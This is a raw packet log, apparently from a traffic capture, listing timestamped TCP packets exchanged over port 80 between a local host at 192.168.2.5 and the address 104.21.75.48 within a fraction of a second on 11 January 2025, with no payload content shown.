Jan 11, 2025 06:50:58.380718946 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.380753994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.380784035 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.380820036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.380866051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.380899906 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.380935907 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.380959988 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381011009 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381042004 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381068945 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381114960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381146908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381181955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381203890 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381247044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381275892 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381303072 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381335020 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381369114 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381427050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381442070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381462097 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381494045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381542921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381576061 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381611109 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381645918 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381678104 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381724119 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381747961 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381747961 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381784916 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381813049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381845951 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381867886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381917000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.381947994 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.381982088 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.382028103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.382056952 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.382091045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.382144928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.382164955 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.382376909 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434432983 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434480906 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434537888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434583902 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434597969 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434648991 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434674025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434674025 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434689045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434720039 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434741974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434779882 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434814930 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434817076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434842110 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434854031 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434885979 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434891939 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434919119 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434919119 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434956074 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.434987068 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.434988976 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435019016 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435039997 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435074091 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435075045 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435127020 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435158968 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435179949 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435231924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435273886 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435303926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435340881 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435384989 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435436964 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435470104 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435471058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435504913 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435538054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435538054 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435571909 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435605049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435606003 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435641050 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435676098 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435681105 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435709953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435749054 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435750008 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435777903 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435806036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435813904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435847044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435848951 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435878992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435913086 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435945034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.435949087 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.435981035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436014891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436014891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436022043 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436048985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436059952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436093092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436125994 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436157942 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436162949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436162949 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436187983 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436192036 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436225891 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436259985 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436259985 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436291933 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436322927 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436322927 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436325073 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436351061 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436358929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436393023 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436419010 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436428070 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436450958 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436451912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436485052 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436491966 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436528921 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436530113 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436564922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436599016 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.436600924 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.436729908 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465070963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465150118 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465187073 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465224028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465257883 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465279102 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465289116 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465337038 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465367079 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465384960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465436935 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465465069 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465472937 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465507030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465533018 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465545893 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465596914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465620041 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465632915 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465667009 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465702057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465703011 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465734005 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465768099 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465775013 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465806007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465831995 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465847015 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465879917 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465893030 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465914965 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465939999 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.465949059 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.465982914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466007948 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466015100 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466048956 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466074944 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466080904 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466115952 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466142893 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466150045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466176987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466187000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466212988 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466239929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466276884 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466296911 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466306925 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466360092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466387987 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466412067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466439962 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466463089 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466490984 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466497898 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466533899 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466561079 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466567039 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466597080 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466619968 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466619968 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466629028 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466649055 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466665030 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466697931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466725111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466725111 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466732025 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466766119 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466777086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466777086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466799974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466833115 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466866016 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466866970 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466896057 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466919899 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466928959 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466941118 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466941118 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.466964960 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.466995955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467030048 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467056036 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467062950 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467089891 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467099905 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467128992 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467154980 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467181921 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467215061 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467241049 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467247963 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467289925 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467325926 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467381001 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467431068 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467482090 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467489004 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467525005 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467549086 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467557907 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467592955 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467617989 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467626095 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467662096 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467683077 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467699051 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467739105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.467765093 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.467767000 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.468177080 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521100044 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521122932 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521145105 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521157980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521169901 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521183014 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521193981 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521205902 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521205902 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521217108 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521239996 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521255970 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521269083 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521279097 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521290064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521291971 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521290064 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521320105 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521342993 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521354914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521362066 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521368980 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521413088 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521509886 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521522045 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521533966 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521547079 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521553040 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521565914 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521572113 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521573067 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521575928 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521589041 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521600008 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521611929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521615982 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521637917 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521795034 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521795988 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521809101 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521822929 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521831989 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521919012 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521919012 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.521925926 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521959066 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521974087 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.521995068 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522022009 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522022963 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522118092 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522130013 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522136927 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522147894 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522155046 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522161007 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522171974 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522178888 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522260904 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522260904 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522267103 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522280931 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522291899 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522304058 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522309065 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522319078 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522331953 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522331953 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522356987 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522362947 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522378922 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522392035 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522403002 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.522458076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.522458076 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.551729918 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.551803112 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.551835060 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.551840067 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.551893950 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.551925898 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.551948071 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.551971912 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552006006 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552050114 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552069902 CET	49704	80	192.168.2.5	104.21.75.48
Jan 11, 2025 06:50:58.552109003 CET	80	49704	104.21.75.48	192.168.2.5
Jan 11, 2025 06:50:58.552162886 CET	80	49704	104.21.75.48	192.168.2.5
